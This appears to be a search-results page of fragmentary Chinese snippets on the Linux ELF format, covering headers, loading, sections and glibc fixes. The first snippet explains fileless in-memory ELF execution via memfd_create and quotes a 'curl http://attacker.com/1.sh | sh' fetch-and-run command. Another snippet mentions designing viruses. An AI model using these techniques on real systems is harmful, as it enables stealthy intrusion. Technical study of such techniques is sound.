exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?...这就是可以被攻击者所利用的,如果有办法将需要执行elf通过memfd_create(2)写入内存中进行执行的话就可以达到我们的目的。 ?...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。...参考: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html http://man7.org/linux
可执行程序格式 Linux操作系统上的可执行文件格式是ELF(Executable and Linkable Format)。...ELF是一种灵活的、可扩展的文件格式,用于存储可执行程序、共享库和目标文件等二进制文件。 ELF文件采用分段(Segment)的结构,每个段都有不同的作用和属性。...如下图所示: 因为目标文件.o也是ELF格式,那么将目标文件链接为可执行程序实际上就是将相同属性的section合并: 在Linux操作系统中,通过elf格式的可执行文件,操作系统可以读取文件中的节和段信息...可执行程序加载 因为可执行程序在Linux内是以ELF格式呈现的,而ELF包含了程序的虚拟地址信息,所以程序在编译形成的时候其虚拟地址就已经确定好了;进程在运行程序时就会读取程序ELF信息来初始化mm_struct...此外可执行程序ELF中还保存了整个程序的入口地址Entry point address,这样当系统执行程序时,除了将ELF中的虚拟地址加载到mm_struct中,还会将整个程序的入口地址赋给CPU的pc
ELF头部的结构体为 elf32_hdr 或 elf64_hdr, 在Android系统源代码的 /bionic/libc/kernel/uapi/linux/elf.h 可以找到。...ET_EXEC 指的是可执行程序, 存在程序入口, 有 Program Header, 可以加载到内存中运行, 在 Linux 下的可执行程序都是这样的。 ET_DYN 特指动态链接库。...e_entry Offset: 0x18 Length: 4 (32bits) Type: unsigned int ELF程序的入口虚拟地址。仅用于可执行程序加载完成后,从此处开始执行进程指令。...e_phoff Offset: 0x1C Length: 4 (32bits) Type: unsigned int 程序头表的偏移,涉及“连接视图”和“执行视图”。...e_phnum Offset: 0x2C Length: 2 Type: unsigned short 在执行视图中,Segments的数量。
ELF 文件载入内存并执行。...and Linkable Format) 所谓的 ELF 文件,翻译过来就是“可执行与可链接文件”,是一种用于二进制文件之间相互调用的可执行文件格式,通过链接即可引入调用,拥有非常强大的可扩展性和灵活性...在 linux 中,可执行文件、Object文件、动态库文件都是ELF格式文件,他相当于 windows 操作系统中的 PE 文件。 通过 readelf 命令可以读取 ELF 文件的内容。 3....别忘了我们的目标,我们需要通过汇编语言编写的 loader 程序将在 linux 环境上编译的 C 语言内核程序载入到内存并执行,因此,实际上我们只需要知道 ELF 文件需要如何被载入内存,并从哪里开始执行...也就是说,我们通过 ELF header 中的字段,找到 Program Header Table,然后读取每个 Program Header,将对应的段载入到内存指定的位置,然后跳转,即可实现可执行文件的执行了
文章目录 一、ELF 文件类型 ( 动态库文件 ) 二、ELF 文件对应 CPU 架构 三、ELF 目标文件版本 四、可执行程序起始地址 一、ELF 文件类型 ( 动态库文件 ) ---- ELF 文件头...第 16 ~ 17 字节 : ELF 文件类型 , 动态库文件 / 可执行文件 / 静态库文件 / 链接文件 ; 03 00 表示该 ELF 文件是动态库文件 ; 03 00 小端格式 , 低位在低地址...: 目标文件版本 ; 默认值 1 ; 01 00 00 00 小端格式 , 低位在低地址 , 值为 1 ; 四、可执行程序起始地址 ---- ELF 文件头 第 24 ~ 27 字节 : 如果 ELF...是可执行文件 , 应该从哪个地址开始执行代码 ; 该值在可执行 ELF 文件中才有意义 , 动态库文件没有意义 ; 00 00 00 00 小端格式 , 低位在低地址 , 值为 0 ; 当前解析的 ELF...文件是动态库文件 , 该值没有实际意义 , 设置 0 默认值 ; 动态库并不能独立执行 , 需要由外部加载执行 ;
压缩加密 技术原理类似桌面应用的「压缩壳」,将 SO 文件中的代码段压缩或加密,在入口函数中解密再执行。...无函数边界 通过链接器乱序再重定位,生成的指令块在可执行文件中的位置是随机的,函数保护后变成了无数个随机位置的指令碎片,无法知道函数的边界。...支持工具推荐 支持ARM 虚拟化保护方案的工具:Virbox Protector 开发环境支持 Windows、Linux、macOS。
要想在Linux系统上实现逆向工程,分析,设计或查杀病毒和恶意代码,你不得不深入掌握其可执行文件的ELF格式,这样你才能了解进程在内存空间的布局和运行的基本规律,这样你才能有针对性的设计有效的病毒或恶意代码入侵系统...ET_EXEC表示可执行文件,它是由多个.o文件链接起来,可以被加载到内存进行执行的进程数据文件;ET_DYN表示动态链接库,它里面包含一系列向外导出的函数代码,当进程需要调用其内部函数时会将其加载到内存...ELF格式的可执行文件在概念上由各种”段“组成,例如用于存储代码的文本段,用于存储数据的数据段等,这些段的数量和相关信息就由程序表头来描述,在加载运行ELF可执行文件时,系统会读取程序表头,获得各个段的信息...symtab对应符号表,它用于指导调试器或系统如何查找调试程序所需的各个符号;.cotrs和.dtors两个段各自包含一个指针,前者指针指向一段初始化代码,在进程的main函数执行前必须先执行初始化代码...,后者指向结束代码,当进程执行结束后,必须执行结束代码后进程才能完全被杀掉。
关于ELF的链接视图和装载视图(执行视图)。在所有介绍ELF文件格式的文档中,都会出现这样一张图: ? Clipboard Image.png 当初看这张图并没有很深的认识。...详细解释如下(摘自ELF文件格式): 3.8.3 动态链接 3.8.3.1 程序解释器 可执行文件可以包含 PT_INTERP 程序头部元素。...因此,我们可以猜测,节区头部表在程序执行过程中并不会被用到,既然不会被用到,ELF头部中的e_shoff、e_shentsize、e_shnum和e_shstrndx可以随意修改而不会影响到程序执行。...在加载视图中,数据被划分为段: 可执行文件或者共享目标文件的程序头部是一个结构数组,每个结构描述了一个段 或者系统准备程序执行所必需的其它信息。...总结ELF中可以被修改又不影响执行的区域 a. ELF头部中的:e_shoff、e_shentsize、e_shnum、e_shstrndx b. 整个section头部表 c.
转自:Soul Of Free Loop链接:https://zohead.com/archives/mod-elf-glibc/ Linux glibc 问题 相信有不少 Linux 用户都碰到过运行第三方...(非系统自带软件源)发布的程序时的 glibc 兼容性问题,这一般是由于当前 Linux 系统上的 GNU C 库(glibc)版本比较老导致的,例如我在 CentOS 6 64 位系统上运行某第三方闭源软件时会报...分析 ELF 首先用 readelf 命令查看 ELF 的符号表,由于该命令输出非常多,这里只贴出我们关心的信息: [root@centos6-dev ~]# readelf -sV tester Symbol...修改 ELF 符号表 由于 Linux 系统中的 LD 库(也就是 /lib64/ld-linux-x86-64.so.2 库)加载 ELF 时检查 .gnu.version_r 表中的符号,我们可以使用任何一款十六进制编辑器来修改...符号,保存 ELF 文件之后就可以看到效果了: [root@centos6-dev ~]# ldd tester linux-vdso.so.1 => (0x00007fffc17ee000
Linux可执行文件类型的注册机制 在说明ELF文件的加载过程以前,我们先回答一个问题,就是: 为什么Linux可以运行ELF文件?.../binfmts.h中 linux支持其他不同格式的可执行程序, 在这种方式下, linux能运行其他操作系统所编译的程序, 如MS-DOS程序, 活BSD Unix的COFF可执行格式, 因此linux...内核用struct linux_binfmt来描述各种可执行程序。...linux内核对所支持的每种可执行的程序类型都有个struct linux_binfmt的数据结构, 其提供了3种方法来加载和执行可执行程序 函数 描述 load_binary 通过读存放在可执行文件中的信息为当前进程建立一个新的执行环境...程序开始执行 具体的信息可以参照 Intel平台下Linux中ELF文件动态链接的加载、解析及实例分析(一): 加载 Intel平台下linux中ELF文件动态链接的加载、解析及实例分析(
hello.c -o tt /home/gl/usr/local/arm/4.3.2/bin/arm-linux-gcc: /home/gl/usr/local/arm/4.3.2/bin/arm-none-linux-gnueabi-gcc...: /lib/ld-linux.so.2: bad ELF interpreter: 没有那个文件或目录 /home/gl/usr/local/arm/4.3.2/bin/arm-linux-gcc...:行3: /home/gl/usr/local/arm/4.3.2/bin/arm-none-linux-gnueabi-gcc: 成功 [root@austgl gl]# yum install ld-linux.so....2 已加载插件:langpacks, presto, refresh-packagekit 解决依赖关系 --> 执行事务检查 ---> 软件包 glibc.i686.0.2.16-28.fc18...3.12.3),它被软件包 glibc-2.16-28.fc18.i686 需要 --> 处理依赖关系 libfreebl3.so,它被软件包 glibc-2.16-28.fc18.i686 需要 --> 执行事务检查
有用户反馈,下载EasyCVR安装程序,解压执行的时候提示其中lib文件错误无法执行程序。由于用户是纯内网环境,无法通过yum安装lib环境,于是向我们求助解决。...根据用户现场的网络环境,在本地部署环境执行程序之后,将所有lib文件打包给用户。用户可将lib文件直接解压在软件程序根目录下之后运行程序。把所有的lib文件放在软件目录下,执行.
不过网上的《Linux彻底定制指南》讲得非常详细,感兴趣的可以看一看。 四、交叉编译: 交叉编译(或交叉建立)是这样一种过程,它在一种机器结构下编译的软件将在另一种完全不同的机器结构下执行。...GCC中的一般工具通常都是通过在命令行上调用命令(如gcc)来执行的。在使用交叉编译的情况下,这些工具将根据它编译的目标而命名。...六、arm-linux-gcc和arm-elf-gcc: arm-elf-gcc跟arm-linux-gcc一样,也是是基于ARM目标机的交叉编译软件。...arm-linux-gcc使用GNU的Glibc,而arm-elf-gcc一般使用 uClibc/uC-libc或者使用REDHAT专门为嵌入式系统的开发的C库newlib。...关于两者的区别,请参考arm-linux-gcc arm-elf-gcc区别。
背景介绍 Section 是 Linux ELF 程序格式的一种核心数据表达方式,用来存放一个一个的代码块、数据块(包括控制信息块),这样一种模块化的设计为程序开发提供了很大的灵活性。...Section 的操作在 Linux 内核中有着非常广泛的应用,比如内核压缩,比如把 .config 打包后加到内核映像中。 下面介绍三种新增 Section 的方式:汇编、C 和 ELF 工具。...通过内联汇编新增一个 Section 如何创建一个可执行的共享库 中有一个很好的例子: asm(".pushsection .interp,\"a\"\n" " .string \...o libhello.so hello.o 注意,必须加上 --set-section-flags 配置为 alloc,否则,程序头会不纳入该 Section,结果将是缺少 INTERP 程序头而无法执行...小结 以上主要介绍了 Linux ELF 核心数据表达方式 Section 的多种 add 和 update 用法,掌握这些用户可以利于理解 Linux 内核源码中类似的代码,也可以用于实际开发和调试过程去解决类似的需求
0x00 64位系统中安装了32位程序解决办法 是因为64位系统中安装了32位程序 解决方法: yum install glibc.i686 0x01 解决交叉编译环境错误 yum install ld-linux.so
往期专题请查看自定义菜单并移步www.zhaibibei.cn 这是一个坚持Oracle,Python原创内容的公众号,欢迎关注 ---- 从今天开始新增关于Linux方面的东西 今天第一期介绍下在用...Oracle-Database-backup-Cannot-start-program-opt-omni-lbin/td-p/229304 上面说 /opt/omni/lbin/ob2rman.pl的调用需要 /lib/ld-linux.so....2 查找系统果然没有(正常机器上有) 最后搜索ld-linux.so.2 后找到解决方案 原因为从Redhat/CentOS开始64位默认不安装32位的glibc,即glibc-i686版本 解决方案...: 安装glibc-i686版本 yum安装 yum install glibc.i686 RPM安装 注意第三条命令的两个软件需同一条语句执行 rpm -ivh compat-glibc-headers
: https://man7.org/linux/man-pages/man5/elf.5.html 我们本次要解读ELF文件的两个部分,一个是其文件头。...接下来的两个字节也就是e_type对应ELF文件的类型,用于表明它是可执行文件,亦或是动态链接库,还是重定向文件也就是编译后还没有被链接的二进制文件。...= "/content/drive/My Drive/elf32/hello_world.o" ET_REL = 1 #.o类型 ET_EXEC = 2 #可执行 ET_DYN = 3 #动态链接...p_flags描述程序表头记录所描述数据的属性,如果取值PF_X表示描述的数据是可执行的代码,PF_W表示所描述数据是可修改的数据,PF_R表示所描述数据具有可读性质。...深刻掌握ELF文件结构及其加载原理是实现Linux上二进制劫持的基础,其过程很烦琐,同时又涉及到很多平常用不上的关于硬件和体系结构的知识,能否啃得下这些枯燥的知识点,决定了一个人是否有毅力和决心在技术之路上走的足够远并且最终能脱颖而出
1、ELF 的概念 官方是如何解释的呢,下面请看大屏幕: ELF(Executable and Linking Format),即“可执行可连接格式”,最初由 UNIX 系统实验室(UNIX System...连接(链接)视图:可以简单理解为目标文件的储存视图,也就是文件的静态解析视图; 运行(执行)视图:可以简单理解为目标文件的内存视图,也就是文件的动态运行视图; 其实就是程序run没run起来的区别~ 2.2...) 和 程序头表PHT(program_header_table) 的偏移地址也显示出来了~ 运行命令: arm-linux-androideabi-readelf -h xxx.so 2.2、 ELF...没关系,我也是,先了解大概意思,慢慢往下走~ 运行命令: arm-linux-androideabi-readelf -S xxx.so 2.2、 ELF中程序头表是什么北北呢?...ELF文件在执行视图中是 以段(Segment)为单位来组织和管理各种信息 所有类型为 PT_LOAD 的段(segment)都会被动态链接器(linker)映射(mmap)到内存中 程序头表(program
为此,Oracle提供了三个重要的视图来获取不同级别的参数信息。...一、优化器性能视图名字 --下面的三个性能视图分别对应到不同的级别 scott@ORCL> select table_name from dict where table_name like 'V$%...Oracle 10053事件中参数的一个子集 二、实例级别执行环境(视图V$SYS_OPTIMIZER_ENV) --提供实例级别的环境执行的信息。...三、会话级别执行环境(视图V$SES_OPTIMIZER_ENV) --与实例级别相对应的会话级别视图是V$SES_OPTIMIZER_ENV。...(视图V$SQL_OPTIMIZER_ENV) --影响SQL语句运行的执行环境受到实例级别以及会话级别之外,最后的,优先级最高的级别即是语句级别。
在MySQL下执行: source /home/jiangxingqi/DB/hello world.sql
领取专属 10元无门槛券
手把手带您无忧上云